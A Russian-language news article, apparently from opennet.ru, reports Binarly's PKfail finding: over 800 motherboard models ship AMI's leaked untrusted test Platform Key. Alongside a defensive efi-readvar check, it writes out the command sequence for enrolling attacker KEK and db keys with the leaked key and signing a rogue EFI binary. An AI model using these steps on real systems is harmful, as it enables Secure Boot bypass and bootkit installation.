В 806 моделях материнских плат выявлен тестовый ключ, позволяющий обойти UEFI Secure Boot

Исследователи безопасности из компании Binarly выявили возможность обхода режима верифицированной загрузки UEFI Secure Boot на более чем 800 продуктах, выпущенных компаниями Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo и Supermicro. Проблема получила кодовое имя PKfail и связана с использованием в прошивках не заслуживающего доверия ключа платформы (PK, Platform Key), сгенерированного компанией AMI (American Megatrends International) и поставляемого в качестве тестового примера. Наиболее старые прошивки, в которых использовался тестовый ключ, выпущены в 2012 году, а самые новые датированы июнем 2024 года. По данным исследователей проблеме подвержены более 10% всех проверенных прошивок.

В параметрах ключа указывалось, что он не заслуживает доверия и его не следует поставлять в своих продуктах. Подразумевалось, что данный тестовый ключ следует заменить на собственный, но производители не обратили внимание на предупреждение и использовали в итоговых прошивках типовой общий ключ, отправляемый всем партнёрам и клиентам компании AMI.

Закрытая часть тестового ключа AMI, необходимая для создания цифровых подписей, оказалась доступна публично после утечки информации у одного из производителей оборудования, сотрудник которого по ошибке разместил в публичном репозитории на GitHub код, содержащий данный ключ. Закрытый ключ был размещён в зашифрованном файле, при шифровании которого использовался простой 4-символьный пароль, который удалось легко подобрать методом перебора.

Ключ платформы используется в качестве корня доверия для заверения БД с ключами для Secure Boot. Получение закрытой части ключа платформы приводит к компрометации всей цепочки доверия, задействованной при проверке валидности компонентов загружаемой системы — зная ключ платформы можно обойти защиту Secure Boot и организовать подстановку при загрузке собственных компонентов через манипуляцию ключом KEK (Key Exchange Key) и базами данных «db» (Signature Database) и «dbx» (Forbidden Signature Database). KEK отвечает за создание цепочки доверия между прошивкой и операционной системой, «db» содержит сертификаты и подписи для загрузчика и сторонних компонентов UEFI, а «dbx» включает отозванные подписи известных вредоносных компонентов.

Для совершения атаки достаточно сгенерировать новые ключи и сертификаты для KEK и db, после чего использовать попавший в открытый доступ тестовый ключ платформы для загрузки в UEFI-прошивку созданного KEK-сертификата. Загрузив в прошивку KEK-сертификат можно использовать связанный с ним закрытый ключ для загрузки в БД db нового сертификата. После загрузки сертификата db, связанный с ним закрытый ключ может применяться для заверения загружаемых EFI-компонентов. openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj «/CN=BRLY KEK/» -out KEK.crt openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj «/CN=BRLY db/» -out db.crt efi-updatevar -a -c KEK.crt -k PK.key KEK efi-updatevar -a -c db.crt -k KEK.key db sbsign —key db.key —cert db.crt —output rogue.efi.signed rogue.efi

Для проверки корректности ключа платформы достаточно запустить утилиту «efi-readvar -v PK» из пакета efitools и убедиться, что ключ платформы не является тестовым: efi-readvar -v PK Variable PK, length 862 PK: List 0, type X509 Signature 0, size 834, owner 26dc4851-195f-4ae1-9a19-fbf883bbb35e Subject: CN=DO NOT TRUST — AMI Test PK Issuer: CN=DO NOT TRUST — AMI Test PK

Источник: opennet.ru